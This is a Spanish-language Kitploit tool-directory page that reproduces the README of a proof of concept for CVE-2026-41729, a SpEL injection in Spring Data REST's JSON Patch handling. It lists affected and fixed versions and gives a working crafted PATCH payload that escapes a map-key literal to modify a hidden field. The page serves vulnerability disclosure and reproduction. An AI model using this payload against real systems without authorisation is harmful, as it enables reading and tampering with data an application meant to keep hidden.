Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Herramientas/GitHubGitHub/daehyuh/cve-2026-41729
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

Este repositorio es el PoC mínimo de reproducción de CVE-2026-41729, publicado como aviso de seguridad oficial de Spring.

  • Aviso oficial: https://spring.io/security/cve-2026-41729/
  • Título oficial: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Gravedad: High
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Fecha de publicación: 2026-06-09

Resumen de la vulnerabilidad

Cuando Spring Data REST procesa una solicitud JSON Patch (Content-Type: application/json-patch+json), existía un problema que insertaba directamente fragmentos de ruta de clave de mapa de una propiedad de tipo Map en expresiones SpEL.

Según el aviso oficial, si una entidad persistente expone una propiedad de tipo Map y un atacante puede enviar una solicitud PATCH a ese recurso de elemento, puede manipular los segmentos de clave de mapa para escapar del literal indexador de mapa previsto y evaluar sub-expresiones SpEL en el contexto de la raíz agregada. Se ha publicado que tanto la ruta de parche de lectura como la de escritura se ven afectadas.

Este PoC utiliza la ruta de parche de escritura para mostrar que un campo @JsonIgnore, que no se expone en la representación REST normal, puede ser modificado mediante una ruta JSON Patch manipulada.

Alcance del impacto

Productos afectados según el aviso oficial:

  • Spring Data REST

Versiones afectadas:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Las versiones anteriores no compatibles también pueden estar afectadas

Versiones corregidas:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 o 4.5.11.1
  • 5.0.6 o 5.0.5.1

Lo que muestra este PoC

La prueba inicia una aplicación Spring Boot real y envía una solicitud HTTP PATCH al endpoint del repositorio Spring Data REST.

El objeto de dominio tiene la siguiente estructura:

  • Mapa people expuesto externamente
  • Mapa hiddenChildren que existe dentro de cada Person pero está oculto en la representación Jackson/Spring Data REST

En la respuesta REST normal, hiddenChildren y sus valores internos no son visibles.

root@kitploit:~
GET /wrappers/sample

Un JSON Patch que especifique directamente la propiedad oculta es rechazado.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

Sin embargo, al usar una clave de mapa manipulada, durante la conversión de ruta JSON Patch a ruta SpEL de Spring Data REST, se puede salir del literal de clave de mapa previsto y llegar a la ruta de la propiedad oculta.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

En la versión vulnerable, esta solicitud tiene éxito y el valor interno cambia a:

root@kitploit:~
before -> after

La prueba confirma que no se crea una clave real a'].hiddenChildren['b en el mapa, sino que la ruta de propiedad oculta se modifica debido a la ruptura de la expresión.

Cómo ejecutar

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

Resultado esperado en la versión vulnerable:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

El éxito de la prueba significa que "se ha reproducido el comportamiento vulnerable". Es decir, en dependencias vulnerables, la solicitud JSON Patch manipulada tiene éxito, demostrando la modificación del estado interno oculto.

Dependencias utilizadas

Este repositorio utiliza el parent Spring Boot 3.5.14, y en esa combinación se resuelve spring-data-rest-webmvc 4.5.11. Esto está incluido en el rango afectado del aviso oficial: 4.5.0 - 4.5.11.

¿Por qué es peligroso?

Un atacante que pueda enviar solicitudes JSON Patch a un endpoint de Spring Data REST puede manipular claves de mapa para inducir una evaluación no intencionada de rutas SpEL en el servidor. Como resultado, los valores internos del grafo de objetos que la aplicación pretendía no exponer en la representación REST pueden ser leídos o modificados.

El aviso oficial evaluó el impacto de confidencialidad e integridad como High.

Créditos

El aviso oficial de Spring menciona lo siguiente:

  • Daehyun Kang (@daehyuh)

Enlaces de referencia

  • Spring 공식 권고문: https://spring.io/security/cve-2026-41729/
  • CVSS calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
Descargar herramienta